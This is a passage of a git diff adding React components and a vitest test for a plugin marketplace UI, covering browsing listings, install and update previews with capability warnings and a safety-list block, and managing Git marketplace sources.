+import { PluginCatalogEmptyState } from '../plugin-catalog/PluginCatalogEmptyState'
+import {
+  PluginCatalogLayout,
+  type PluginCatalogFilter
+} from '../plugin-catalog/PluginCatalogLayout'
+import { Button } from '../ui/button'
+import { PluginMarketplaceListingRow } from './PluginMarketplaceListingRow'
+import {
+  PluginMarketplacePreviewDialog,
+  type PluginMarketplacePreviewMode
+} from './PluginMarketplacePreviewDialog'
+import { PluginMarketplaceSourceDialog } from './PluginMarketplaceSourceDialog'
+
+type PluginMarketplaceBrowserProps = {
+  installedPlugins: readonly PluginHostListEntry[]
+  onInstalled: (pluginKey: string) => Promise<void>
+  onRefreshInstalled?: () => Promise<void>
+  renderInstalledContent?: (search: string) => React.ReactNode
+}
+
+function marketplaceError(cause: unknown, fallback: string): string {
+  console.warn('[plugins] marketplace action failed:', cause)
+  return fallback
+}
+
+export function PluginMarketplaceBrowser({
+  installedPlugins,
+  onInstalled,
+  onRefreshInstalled,
+  renderInstalledContent
+}: PluginMarketplaceBrowserProps): React.JSX.Element {
+  const [sources, setSources] = useState<PluginMarketplaceHostSourceState[]>([])
+  const [listings, setListings] = useState<PluginMarketplaceHostListing[]>([])
+  const [loading, setLoading] = useState(true)
+  const [refreshBusy, setRefreshBusy] = useState(false)
+  const [error, setError] = useState<string | null>(null)
+  const [search, setSearch] = useState('')
+  const [filter, setFilter] = useState<PluginCatalogFilter>('all')
+  const [sourcesOpen, setSourcesOpen] = useState(false)
+  const [preview, setPreview] = useState<PluginMarketplaceHostInstallPreview | null>(null)
+  const [previewMode, setPreviewMode] = useState<PluginMarketplacePreviewMode>('install')
+  const [previewBusyKey, setPreviewBusyKey] = useState<string | null>(null)
+  const [installBusy, setInstallBusy] = useState(false)
+  const [actionError, setActionError] = useState<string | null>(null)
+  const mountedRef = useRef(false)
+  const requestRef = useRef(0)
+  const previewRequestRef = useRef(0)
+
+  const loadMarketplaceData = useCallback(async (): Promise<void> => {
+    const requestId = ++requestRef.current
+    try {
+      const [nextSources, nextListings] = await Promise.all([
+        window.api.plugins.listMarketplaces(),
+        window.api.plugins.listMarketplacePlugins()
+      ])
+      if (mountedRef.current && requestId === requestRef.current) {
+        setSources(nextSources)
+        setListings(nextListings)
+        setError(null)
+      }
+    } catch (cause) {
+      if (mountedRef.current && requestId === requestRef.current) {
+        setError(
+          marketplaceError(
+            cause,
+            translate(
+              'auto.components.settings.PluginMarketplaceBrowser.loadFailed',
+              'Could not load marketplace plugins.'
+            )
+          )
+        )
+      }
+    } finally {
+      if (mountedRef.current && requestId === requestRef.current) {
+        setLoading(false)
+      }
+    }
+  }, [])
+
+  useEffect(() => {
+    mountedRef.current = true
+    void loadMarketplaceData()
+    return () => {
+      mountedRef.current = false
+      requestRef.current += 1
+      previewRequestRef.current += 1
+    }
+  }, [loadMarketplaceData])
+
+  const installedByKey = useMemo(
+    () => new Map(installedPlugins.map((plugin) => [plugin.pluginKey, plugin])),
+    [installedPlugins]
+  )
+  const visibleListings = useMemo(() => {
+    const query = search.trim().toLocaleLowerCase()
+    if (!query) {
+      return listings
+    }
+    return listings.filter((listing) =>
+      [
+        listing.pluginKey,
+        listing.description ?? '',
+        listing.marketplaceName,
+        listing.marketplaceOwner,
+        ...listing.categories
+      ].some((value) => value.toLocaleLowerCase().includes(query))
+    )
+  }, [listings, search])
+
+  const refresh = async (): Promise<void> => {
+    setRefreshBusy(true)
+    setError(null)
+    try {
+      await Promise.all([window.api.plugins.refreshMarketplaces({}), onRefreshInstalled?.()])
+      await loadMarketplaceData()
+    } catch (cause) {
+      if (mountedRef.current) {
+        setError(
+          marketplaceError(
+            cause,
+            translate(
+              'auto.components.settings.PluginMarketplaceBrowser.refreshFailed',
+              'Could not refresh marketplaces. Cached listings remain available.'
+            )
+          )
+        )
+      }
+    } finally {
+      if (mountedRef.current) {
+        setRefreshBusy(false)
+      }
+    }
+  }
+
+  const openPreview = async (
+    listing: PluginMarketplaceHostListing,
+    update: boolean
+  ): Promise<void> => {
+    const requestId = ++previewRequestRef.current
+    setPreviewBusyKey(listing.pluginKey)
+    setActionError(null)
+    setError(null)
+    try {
+      const nextPreview = update
+        ? await window.api.plugins.previewMarketplaceUpdate({ pluginKey: listing.pluginKey })
+        : await window.api.plugins.previewMarketplacePlugin({
+            marketplaceSourceId: listing.marketplaceSourceId,
+            pluginKey: listing.pluginKey
+          })
+      if (mountedRef.current && requestId === previewRequestRef.current) {
+        setPreviewMode(update ? 'update' : 'install')
+        setPreview(nextPreview)
+      }
+    } catch (cause) {
+      if (mountedRef.current && requestId === previewRequestRef.current) {
+        setError(
+          marketplaceError(
+            cause,
+            translate(
+              'auto.components.settings.PluginMarketplaceBrowser.previewFailed',
+              'Could not prepare this plugin for review. Refresh the marketplace and try again.'
+            )
+          )
+        )
+      }
+    } finally {
+      if (mountedRef.current && requestId === previewRequestRef.current) {
+        setPreviewBusyKey(null)
+      }
+    }
+  }
+
+  const installPreview = async (): Promise<void> => {
+    if (!preview || installBusy) {
+      return
+    }
+    setInstallBusy(true)
+    setActionError(null)
+    try {
+      const result = await window.api.plugins.installMarketplacePlugin({
+        marketplaceSourceId: preview.marketplaceSourceId,
+        marketplaceCommit: preview.marketplaceCommit,
+        pluginKey: preview.pluginKey,
+        resolvedCommit: preview.resolvedCommit
+      })
+      if (!result.ok) {
+        throw new Error(result.error)
+      }
+      setPreview(null)
+      await onInstalled(result.pluginKey)
+    } catch (cause) {
+      if (mountedRef.current) {
+        setActionError(
+          marketplaceError(
+            cause,
+            translate(
+              'auto.components.settings.PluginMarketplaceBrowser.installFailed',
+              'Could not install this plugin. The reviewed source may have changed.'
+            )
+          )
+        )
+      }
+    } finally {
+      if (mountedRef.current) {
+        setInstallBusy(false)
+      }
+    }
+  }
+
+  const currentVersion = Boolean(
+    preview && installedByKey.get(preview.pluginKey)?.source?.contentHash === preview.contentHash
+  )
+
+  return (
+    <>
+      <PluginCatalogLayout
+        filter={filter}
+        onFilterChange={setFilter}
+        search={search}
+        onSearchChange={setSearch}
+        allCount={listings.length}
+        installedCount={installedPlugins.length}
+        toolbar={
+          <>
+            <Button variant="ghost" size="xs" onClick={() => setSourcesOpen(true)}>
+              <Settings2 />
+              {translate(
+                'auto.components.settings.PluginMarketplaceBrowser.manageSources',
+                'Manage sources'
+              )}
+            </Button>
+            <Button variant="ghost" size="xs" disabled={refreshBusy} onClick={() => void refresh()}>
+              <RefreshCw className={refreshBusy ? 'animate-spin' : undefined} />
+              {refreshBusy
+                ? translate(
+                    'auto.components.settings.PluginMarketplaceBrowser.refreshing',
+                    'Refreshing…'
+                  )
+                : translate('auto.components.settings.PluginMarketplaceBrowser.refresh', 'Refresh')}
+            </Button>
+          </>
+        }
+      >
+        {filter === 'installed' ? (
+          renderInstalledContent ? (
+            renderInstalledContent(search)
+          ) : (
+            <PluginCatalogEmptyState
+              icon={Blocks}
+              title={translate(
+                'auto.components.settings.PluginMarketplaceBrowser.noInstalledTitle',
+                'No plugins installed'
+              )}
+              description={translate(
+                'auto.components.settings.PluginMarketplaceBrowser.noInstalled',
+                'Plugins you install appear here.'
+              )}
+            />
+          )
+        ) : loading ? (
+          <div className="flex items-center gap-2 px-4 py-5 text-[13px] text-muted-foreground">
+            <Loader2 className="animate-spin" />
+            {translate(
+              'auto.components.settings.PluginMarketplaceBrowser.loading',
+              'Loading marketplace plugins…'
+            )}
+          </div>
+        ) : (
+          <>
+            {error ? (
+              <div className="mb-2 rounded-lg border border-destructive/30 bg-destructive/5 px-4 py-3 text-sm text-destructive">
+                <p>{error}</p>
+                <Button variant="outline" size="xs" className="mt-2" onClick={loadMarketplaceData}>
+                  {translate(
+                    'auto.components.settings.PluginMarketplaceBrowser.tryAgain',
+                    'Try again'
+                  )}
+                </Button>
+              </div>
+            ) : null}
+            {sources.length === 0 ? (
+              <PluginCatalogEmptyState
+                icon={Store}
+                title={translate(
+                  'auto.components.settings.PluginMarketplaceBrowser.noSourcesTitle',
+                  'No marketplaces configured'
+                )}
+                description={translate(
+                  'auto.components.settings.PluginMarketplaceBrowser.noSources',
+                  'Add an official, community, or private Git marketplace to browse plugins.'
+                )}
+                action={
+                  <Button variant="outline" size="sm" onClick={() => setSourcesOpen(true)}>
+                    {translate(
+                      'auto.components.settings.PluginMarketplaceBrowser.addSource',
+                      'Add marketplace'
+                    )}
+                  </Button>
+                }
+              />
+            ) : visibleListings.length === 0 ? (
+              search ? (
+                <PluginCatalogEmptyState
+                  icon={SearchX}
+                  title={translate(
+                    'auto.components.settings.PluginMarketplaceBrowser.noResultsTitle',
+                    'No matching plugins'
+                  )}
+                  description={translate(
+                    'auto.components.settings.PluginMarketplaceBrowser.noResults',
+                    'No marketplace plugins match this search.'
+                  )}
+                  action={
+                    <Button variant="outline" size="sm" onClick={() => setSearch('')}>
+                      {translate(
+                        'auto.components.settings.PluginMarketplaceBrowser.clearSearch',
+                        'Clear search'
+                      )}
+                    </Button>
+                  }
+                />
+              ) : (
+                <PluginCatalogEmptyState
+                  icon={Blocks}
+                  title={translate(
+                    'auto.components.settings.PluginMarketplaceBrowser.emptyTitle',
+                    'Nothing listed yet'
+                  )}
+                  description={translate(
+                    'auto.components.settings.PluginMarketplaceBrowser.empty',
+                    'The configured marketplaces do not list any plugins.'
+                  )}
+                />
+              )
+            ) : (
+              <div className="grid gap-3 lg:grid-cols-2">
+                {visibleListings.map((listing) => (
+                  <PluginMarketplaceListingRow
+                    key={`${listing.marketplaceSourceId}:${listing.pluginKey}`}
+                    listing={listing}
+                    installed={installedByKey.get(listing.pluginKey) ?? null}
+                    busy={previewBusyKey === listing.pluginKey}
+                    onPreview={(entry, update) => void openPreview(entry, update)}
+                  />
+                ))}
+              </div>
+            )}
+          </>
+        )}
+      </PluginCatalogLayout>
+      <PluginMarketplaceSourceDialog
+        open={sourcesOpen}
+        sources={sources}
+        onOpenChange={setSourcesOpen}
+        onChanged={loadMarketplaceData}
+      />
+      <PluginMarketplacePreviewDialog
+        key={preview ? `${preview.pluginKey}:${preview.contentHash}` : 'closed'}
+        preview={preview}
+        mode={previewMode}
+        busy={installBusy}
+        currentVersion={currentVersion}
+        error={actionError}
+        onClose={() => setPreview(null)}
+        onConfirm={() => void installPreview()}
+      />
+    </>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginMarketplaceListingRow.tsx b/src/renderer/src/components/settings/PluginMarketplaceListingRow.tsx
new file mode 100644
index 000000000..3379f8518
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginMarketplaceListingRow.tsx
@@ -0,0 +1,129 @@
+import { AlertTriangle, BadgeCheck, Check, Loader2 } from 'lucide-react'
+import type {
+  PluginHostListEntry,
+  PluginMarketplaceHostListing
+} from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { PluginCatalogAvatar } from '../plugin-catalog/PluginCatalogAvatar'
+import { pluginDisplayNameFromKey } from '../plugin-catalog/plugin-display-name'
+import { Badge } from '../ui/badge'
+import { Button } from '../ui/button'
+
+type PluginMarketplaceListingRowProps = {
+  listing: PluginMarketplaceHostListing
+  installed: PluginHostListEntry | null
+  busy: boolean
+  onPreview: (listing: PluginMarketplaceHostListing, update: boolean) => void
+}
+
+export function PluginMarketplaceListingRow({
+  listing,
+  installed,
+  busy,
+  onPreview
+}: PluginMarketplaceListingRowProps): React.JSX.Element {
+  const blocked = listing.blockedByKillList
+  const canCheckUpdate = installed?.source?.kind === 'marketplace'
+  const name = pluginDisplayNameFromKey(listing.pluginKey)
+  return (
+    <article
+      className="flex min-h-36 flex-col rounded-xl border border-border/80 bg-card p-4 text-card-foreground shadow-xs transition-colors hover:border-border"
+      data-marketplace-plugin-key={listing.pluginKey}
+    >
+      <div className="flex items-start gap-3">
+        <PluginCatalogAvatar name={name} />
+        <div className="min-w-0 flex-1">
+          <div className="flex items-center gap-1.5">
+            <h4 className="truncate text-sm font-semibold">{name}</h4>
+            {listing.official ? (
+              <BadgeCheck
+                className="plugin-security-chrome size-4 shrink-0 text-muted-foreground"
+                role="img"
+                aria-label={translate(
+                  'auto.components.settings.PluginMarketplaceListingRow.official',
+                  'Official'
+                )}
+              />
+            ) : null}
+          </div>
+          <p className="mt-0.5 truncate text-xs text-muted-foreground" title={listing.pluginKey}>
+            {listing.marketplaceOwner}
+          </p>
+        </div>
+        {installed && !blocked ? (
+          <span className="flex shrink-0 items-center gap-1 text-xs text-muted-foreground">
+            <Check className="size-3.5" aria-hidden="true" />
+            {translate(
+              'auto.components.settings.PluginMarketplaceListingRow.installed',
+              'Installed'
+            )}
+          </span>
+        ) : null}
+      </div>
+
+      <p className="mt-3 line-clamp-2 min-h-10 text-sm leading-5 text-muted-foreground">
+        {listing.description ??
+          translate(
+            'auto.components.settings.PluginMarketplaceListingRow.noDescription',
+            'No description provided.'
+          )}
+      </p>
+
+      {blocked ? (
+        <p className="plugin-security-chrome mt-2 flex items-start gap-1.5 text-xs leading-5 text-destructive">
+          <AlertTriangle className="mt-0.5 size-3.5 shrink-0" />
+          <span>
+            {translate(
+              'auto.components.settings.PluginMarketplaceListingRow.blocked',
+              "Blocked by Orca's safety list: {{value0}}",
+              { value0: blocked.reason }
+            )}
+          </span>
+        </p>
+      ) : null}
+
+      <div className="mt-auto flex flex-wrap items-end justify-between gap-3 pt-3">
+        <div className="flex min-w-0 flex-wrap gap-1">
+          {listing.categories.slice(0, 3).map((category) => (
+            <Badge key={category} variant="outline" className="text-[10px] text-muted-foreground">
+              {category}
+            </Badge>
+          ))}
+        </div>
+        {blocked ? (
+          <Button variant="outline" size="sm" className="w-28" disabled>
+            {translate(
+              'auto.components.settings.PluginMarketplaceListingRow.blockedAction',
+              'Blocked'
+            )}
+          </Button>
+        ) : canCheckUpdate ? (
+          <Button
+            variant="outline"
+            size="sm"
+            className="w-40"
+            disabled={busy}
+            onClick={() => onPreview(listing, true)}
+          >
+            {busy ? <Loader2 className="animate-spin" /> : null}
+            {translate(
+              'auto.components.settings.PluginMarketplaceListingRow.checkUpdate',
+              'Check for update'
+            )}
+          </Button>
+        ) : installed ? null : (
+          <Button
+            variant="outline"
+            size="sm"
+            className="w-28"
+            disabled={busy}
+            onClick={() => onPreview(listing, false)}
+          >
+            {busy ? <Loader2 className="animate-spin" /> : null}
+            {translate('auto.components.settings.PluginMarketplaceListingRow.install', 'Install')}
+          </Button>
+        )}
+      </div>
+    </article>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginMarketplacePreviewDialog.tsx b/src/renderer/src/components/settings/PluginMarketplacePreviewDialog.tsx
new file mode 100644
index 000000000..6f7e34fa6
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginMarketplacePreviewDialog.tsx
@@ -0,0 +1,297 @@
+import { AlertTriangle, Check, Loader2 } from 'lucide-react'
+import type { PluginMarketplaceHostInstallPreview } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { PluginCatalogAvatar } from '../plugin-catalog/PluginCatalogAvatar'
+import { PluginConsentProvenance, type PluginConsentSource } from './PluginConsentProvenance'
+import { Badge } from '../ui/badge'
+import { Button } from '../ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '../ui/dialog'
+import { pluginCapabilityDescription } from './plugin-capability-presentation'
+
+export type PluginMarketplacePreviewMode = 'install' | 'update'
+
+type PluginMarketplacePreviewDialogProps = {
+  preview: PluginMarketplaceHostInstallPreview | null
+  mode: PluginMarketplacePreviewMode
+  busy: boolean
+  currentVersion: boolean
+  error: string | null
+  onClose: () => void
+  onConfirm: () => void
+}
+
+function contributionSummary(
+  preview: PluginMarketplaceHostInstallPreview
+): { key: string; label: string }[] {
+  const { contributes } = preview.manifest
+  // Why: two static keys per kind (not one dynamic key) so the localization
+  // catalog sync can extract them, and "1 language packs" never renders.
+  const entries: { key: string; count: number; one: string; many: string }[] = [
+    {
+      key: 'languagePacks',
+      count: contributes.languagePacks.length,
+      one: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.languagePacksOne',
+        '1 language pack'
+      ),
+      many: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.languagePacks',
+        '{{value0}} language packs',
+        { value0: contributes.languagePacks.length }
+      )
+    },
+    {
+      key: 'commands',
+      count: contributes.commands.length,
+      one: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.commandsOne',
+        '1 command'
+      ),
+      many: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.commands',
+        '{{value0}} commands',
+        { value0: contributes.commands.length }
+      )
+    },
+    {
+      key: 'keybindings',
+      count: contributes.keybindings.length,
+      one: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.keybindingsOne',
+        '1 keyboard shortcut'
+      ),
+      many: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.keybindings',
+        '{{value0}} keyboard shortcuts',
+        { value0: contributes.keybindings.length }
+      )
+    },
+    {
+      key: 'vmRecipes',
+      count: contributes.vmRecipes.length,
+      one: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.vmRecipesOne',
+        '1 VM recipe'
+      ),
+      many: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.vmRecipes',
+        '{{value0}} VM recipes',
+        { value0: contributes.vmRecipes.length }
+      )
+    },
+    {
+      key: 'panels',
+      count: contributes.panels.length,
+      one: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.panelsOne',
+        '1 panel'
+      ),
+      many: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.panels',
+        '{{value0}} panels',
+        { value0: contributes.panels.length }
+      )
+    },
+    {
+      key: 'events',
+      count: contributes.events.length,
+      one: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.eventsOne',
+        '1 event subscription'
+      ),
+      many: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.events',
+        '{{value0}} event subscriptions',
+        { value0: contributes.events.length }
+      )
+    }
+  ]
+  const summary: { key: string; label: string }[] = entries
+    .filter((entry) => entry.count > 0)
+    .map(({ key, count, one, many }) => ({ key, label: count === 1 ? one : many }))
+  if (preview.manifest.main) {
+    summary.push({
+      key: 'worker',
+      label: translate(
+        'auto.components.settings.PluginMarketplacePreviewDialog.worker',
+        'Background worker'
+      )
+    })
+  }
+  return summary
+}
+
+export function PluginMarketplacePreviewDialog({
+  preview,
+  mode,
+  busy,
+  currentVersion,
+  error,
+  onClose,
+  onConfirm
+}: PluginMarketplacePreviewDialogProps): React.JSX.Element {
+  const contributions = preview ? contributionSummary(preview) : []
+  const blocked = preview?.blockedByKillList
+  const provenanceSource: PluginConsentSource | undefined = preview
+    ? {
+        kind: preview.bundled ? 'bundled' : 'marketplace',
+        reference: `${preview.source.url}#${preview.source.ref}`,
+        resolvedCommit: preview.resolvedCommit,
+        marketplace: {
+          reference: preview.marketplaceName,
+          resolvedCommit: preview.marketplaceCommit
+        }
+      }
+    : undefined
+  return (
+    <Dialog open={Boolean(preview)} onOpenChange={(open) => !open && !busy && onClose()}>
+      <DialogContent className="plugin-security-chrome max-h-[calc(100vh-3rem)] overflow-y-auto scrollbar-sleek sm:max-w-xl">
+        {preview ? (
+          <>
+            <DialogHeader>
+              <div className="flex items-start gap-3 pr-6">
+                <PluginCatalogAvatar name={preview.manifest.name} className="mt-0.5" />
+                <div className="min-w-0">
+                  <DialogTitle className="truncate">{preview.manifest.name}</DialogTitle>
+                  <DialogDescription className="mt-0.5 truncate">
+                    {translate(
+                      'auto.components.settings.PluginMarketplacePreviewDialog.versionLine',
+                      'v{{value0}} · {{value1}}',
+                      {
+                        value0: preview.manifest.version,
+                        value1: preview.marketplaceName
+                      }
+                    )}
+                  </DialogDescription>
+                  <div className="mt-1.5">
+                    <PluginConsentProvenance
+                      official={preview.official}
+                      publisher={preview.manifest.publisher}
+                      source={provenanceSource}
+                    />
+                  </div>
+                </div>
+              </div>
+            </DialogHeader>
+            {preview.manifest.description ? (
+              <p className="text-sm leading-6">{preview.manifest.description}</p>
+            ) : null}
+            <div className="space-y-2">
+              <p className="text-[11px] font-semibold uppercase tracking-[0.05em] text-muted-foreground">
+                {translate(
+                  'auto.components.settings.PluginMarketplacePreviewDialog.includes',
+                  'Includes'
+                )}
+              </p>
+              <div className="flex flex-wrap gap-1.5">
+                {contributions.length > 0 ? (
+                  contributions.map((entry) => (
+                    <Badge key={entry.key} variant="secondary">
+                      {entry.label}
+                    </Badge>
+                  ))
+                ) : (
+                  <span className="text-sm text-muted-foreground">
+                    {translate(
+                      'auto.components.settings.PluginMarketplacePreviewDialog.noContributions',
+                      'Manifest metadata only'
+                    )}
+                  </span>
+                )}
+              </div>
+            </div>
+            {preview.manifest.capabilities.length > 0 ? (
+              <div className="space-y-2">
+                <p className="text-[11px] font-semibold uppercase tracking-[0.05em] text-muted-foreground">
+                  {translate(
+                    'auto.components.settings.PluginMarketplacePreviewDialog.capabilities',
+                    'Requested access'
+                  )}
+                </p>
+                {preview.manifest.capabilities.map((capability) => (
+                  <div key={capability.kind} className="flex items-start gap-2 text-sm leading-6">
+                    <Check className="mt-1 size-3.5 shrink-0 text-muted-foreground" />
+                    <span>
+                      {pluginCapabilityDescription(capability.kind, capability.kind)}{' '}
+                      <span className="font-mono text-[11px] text-muted-foreground">
+                        ({capability.kind})
+                      </span>
+                    </span>
+                  </div>
+                ))}
+              </div>
+            ) : null}
+            {preview.manifest.main ? (
+              <div className="flex items-start gap-2 rounded-md border border-border bg-muted/50 px-3.5 py-3 text-sm leading-6">
+                <AlertTriangle className="mt-1 size-4 shrink-0" />
+                <span>
+                  {translate(
+                    'auto.components.settings.PluginMarketplacePreviewDialog.workerWarning',
+                    "Capabilities limit how this plugin uses Orca's API. Its worker still runs as a normal process on this computer with full access to your files, network, and other processes."
+                  )}
+                </span>
+              </div>
+            ) : null}
+            {blocked ? (
+              <p className="rounded-md border border-destructive/30 bg-destructive/5 px-3.5 py-3 text-sm text-destructive">
+                {translate(
+                  'auto.components.settings.PluginMarketplacePreviewDialog.blocked',
+                  "Orca's safety list blocks this plugin: {{value0}}",
+                  { value0: blocked.reason }
+                )}
+              </p>
+            ) : null}
+            {currentVersion ? (
+              <p className="flex items-center gap-1.5 text-sm text-muted-foreground">
+                <Check className="size-4 shrink-0" aria-hidden="true" />
+                {translate(
+                  'auto.components.settings.PluginMarketplacePreviewDialog.current',
+                  'This exact plugin content is already installed.'
+                )}
+              </p>
+            ) : null}
+            {error ? <p className="text-sm text-destructive">{error}</p> : null}
+            <DialogFooter>
+              {currentVersion ? (
+                <Button onClick={onClose}>
+                  {translate(
+                    'auto.components.settings.PluginMarketplacePreviewDialog.close',
+                    'Close'
+                  )}
+                </Button>
+              ) : (
+                <>
+                  <Button variant="ghost" disabled={busy} onClick={onClose}>
+                    {translate(
+                      'auto.components.settings.PluginMarketplacePreviewDialog.cancel',
+                      'Cancel'
+                    )}
+                  </Button>
+                  <Button disabled={busy || Boolean(blocked)} onClick={onConfirm}>
+                    {busy ? <Loader2 className="animate-spin" /> : null}
+                    {mode === 'update'
+                      ? translate(
+                          'auto.components.settings.PluginMarketplacePreviewDialog.update',
+                          'Update plugin'
+                        )
+                      : translate(
+                          'auto.components.settings.PluginMarketplacePreviewDialog.install',
+                          'Install plugin'
+                        )}
+                  </Button>
+                </>
+              )}
+            </DialogFooter>
+          </>
+        ) : null}
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/src/renderer/src/components/settings/PluginMarketplaceSourceDialog.test.tsx b/src/renderer/src/components/settings/PluginMarketplaceSourceDialog.test.tsx
new file mode 100644
index 000000000..8d2d32188
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginMarketplaceSourceDialog.test.tsx
@@ -0,0 +1,117 @@
+// @vitest-environment happy-dom
+
+import { act } from 'react'
+import { createRoot } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { PluginMarketplaceHostSourceState } from '../../../../preload/api-types'
+import { PluginMarketplaceSourceDialog } from './PluginMarketplaceSourceDialog'
+
+const source: PluginMarketplaceHostSourceState = {
+  id: 'a'.repeat(32),
+  source: { kind: 'git', url: 'git@example.com:team/plugins.git', ref: 'stable' },
+  addedAt: 1,
+  marketplace: {
+    name: 'Team plugins',
+    owner: 'example',
+    resolvedCommit: 'b'.repeat(40),
+    fetchedAt: 2
+  },
+  stale: false,
+  official: false
+}
+
+function installApi(): void {
+  Object.defineProperty(window, 'api', {
+    configurable: true,
+    value: {
+      plugins: {
+        addMarketplace: vi.fn().mockResolvedValue(source),
+        refreshMarketplaces: vi.fn().mockResolvedValue([source]),
+        removeMarketplace: vi.fn().mockResolvedValue([])
+      }
+    }
+  })
+}
+
+async function setInput(input: HTMLInputElement, value: string): Promise<void> {
+  await act(async () => {
+    Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value')?.set?.call(input, value)
+    input.dispatchEvent(new Event('input', { bubbles: true }))
+  })
+}
+
+beforeEach(() => installApi())
+
+afterEach(() => {
+  document.body.innerHTML = ''
+  vi.restoreAllMocks()
+})
+
+describe('PluginMarketplaceSourceDialog', () => {
+  it('adds private SSH marketplaces through the system-Git source contract', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    const onChanged = vi.fn().mockResolvedValue(undefined)
+    await act(async () => {
+      root.render(
+        <PluginMarketplaceSourceDialog
+          open
+          sources={[]}
+          onOpenChange={vi.fn()}
+          onChanged={onChanged}
+        />
+      )
+    })
+    const url = document.querySelector<HTMLInputElement>('#plugin-marketplace-url')
+    const gitRef = document.querySelector<HTMLInputElement>('#plugin-marketplace-ref')
+    if (!url || !gitRef) {
+      throw new Error('missing marketplace source inputs')
+    }
+    await setInput(url, 'git@example.com:private/plugins.git')
+    await setInput(gitRef, 'release')
+
+    const add = Array.from(document.querySelectorAll('button')).find(
+      (candidate) => candidate.textContent?.trim() === 'Add source'
+    )
+    await act(async () => add?.click())
+
+    expect(window.api.plugins.addMarketplace).toHaveBeenCalledWith({
+      kind: 'git',
+      url: 'git@example.com:private/plugins.git',
+      ref: 'release'
+    })
+    expect(onChanged).toHaveBeenCalledOnce()
+    act(() => root.unmount())
+  })
+
+  it('dispatches per-source refresh and removal', async () => {
+    const container = document.createElement('div')
+    document.body.appendChild(container)
+    const root = createRoot(container)
+    const onChanged = vi.fn().mockResolvedValue(undefined)
+    await act(async () => {
+      root.render(
+        <PluginMarketplaceSourceDialog
+          open
+          sources={[source]}
+          onOpenChange={vi.fn()}
+          onChanged={onChanged}
+        />
+      )
+    })
+    expect(document.querySelector('[role="dialog"]')?.classList).toContain('plugin-security-chrome')
+
+    await act(async () =>
+      document.querySelector<HTMLButtonElement>('[aria-label="Refresh Team plugins"]')?.click()
+    )
+    await act(async () =>
+      document.querySelector<HTMLButtonElement>('[aria-label="Remove Team plugins"]')?.click()
+    )
+
+    expect(window.api.plugins.refreshMarketplaces).toHaveBeenCalledWith({ sourceId: source.id })
+    expect(window.api.plugins.removeMarketplace).toHaveBeenCalledWith({ sourceId: source.id })
+    expect(onChanged).toHaveBeenCalledTimes(2)
+    act(() => root.unmount())
+  })
+})
diff --git a/src/renderer/src/components/settings/PluginMarketplaceSourceDialog.tsx b/src/renderer/src/components/settings/PluginMarketplaceSourceDialog.tsx
new file mode 100644
index 000000000..89c901ff2
--- /dev/null
+++ b/src/renderer/src/components/settings/PluginMarketplaceSourceDialog.tsx
@@ -0,0 +1,331 @@
+import { useEffect, useRef, useState } from 'react'
+import { Loader2, RefreshCw, Trash2 } from 'lucide-react'
+import type { PluginMarketplaceHostSourceState } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import { Button } from '../ui/button'
+import { Badge } from '../ui/badge'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '../ui/dialog'
+import { Input } from '../ui/input'
+import { Label } from '../ui/label'
+
+type PluginMarketplaceSourceDialogProps = {
+  open: boolean
+  sources: readonly PluginMarketplaceHostSourceState[]
+  onOpenChange: (open: boolean) => void
+  onChanged: () => Promise<void>
+}
+
+function sourceError(cause: unknown, fallback: string): string {
+  console.warn('[plugins] marketplace source action failed:', cause)
+  return fallback
+}
+
+export function PluginMarketplaceSourceDialog({
+  open,
+  sources,
+  onOpenChange,
+  onChanged
+}: PluginMarketplaceSourceDialogProps): React.JSX.Element {
+  const urlRef = useRef<HTMLInputElement>(null)
+  const [url, setUrl] = useState('')
+  const [gitRef, setGitRef] = useState('main')
+  const [busyAction, setBusyAction] = useState<string | null>(null)
+  const [error, setError] = useState<string | null>(null)
+
+  useEffect(() => {
+    if (!open) {
+      setBusyAction(null)
+      setError(null)
+    }
+  }, [open])
+
+  const add = async (): Promise<void> => {
+    if (!url.trim() || !gitRef.trim() || busyAction) {
+      return
+    }
+    setBusyAction('add')
+    setError(null)
+    try {
+      await window.api.plugins.addMarketplace({
+        kind: 'git',
+        url: url.trim(),
+        ref: gitRef.trim()
+      })
+      setUrl('')
+      setGitRef('main')
+      await onChanged()
+    } catch (cause) {
+      setError(
+        sourceError(
+          cause,
+          translate(
+            'auto.components.settings.PluginMarketplaceSourceDialog.addFailed',
+            'Could not add this marketplace. Check the Git URL, ref, and your Git credentials.'
+          )
+        )
+      )
+    } finally {
+      setBusyAction(null)
+    }
+  }
+
+  const refresh = async (sourceId: string): Promise<void> => {
+    setBusyAction(`refresh:${sourceId}`)
+    setError(null)
+    try {
+      await window.api.plugins.refreshMarketplaces({ sourceId })
+      await onChanged()
+    } catch (cause) {
+      setError(
+        sourceError(
+          cause,
+          translate(
+            'auto.components.settings.PluginMarketplaceSourceDialog.refreshFailed',
+            'Could not refresh this marketplace. Its last valid cached index is still available.'
+          )
+        )
+      )
+    } finally {
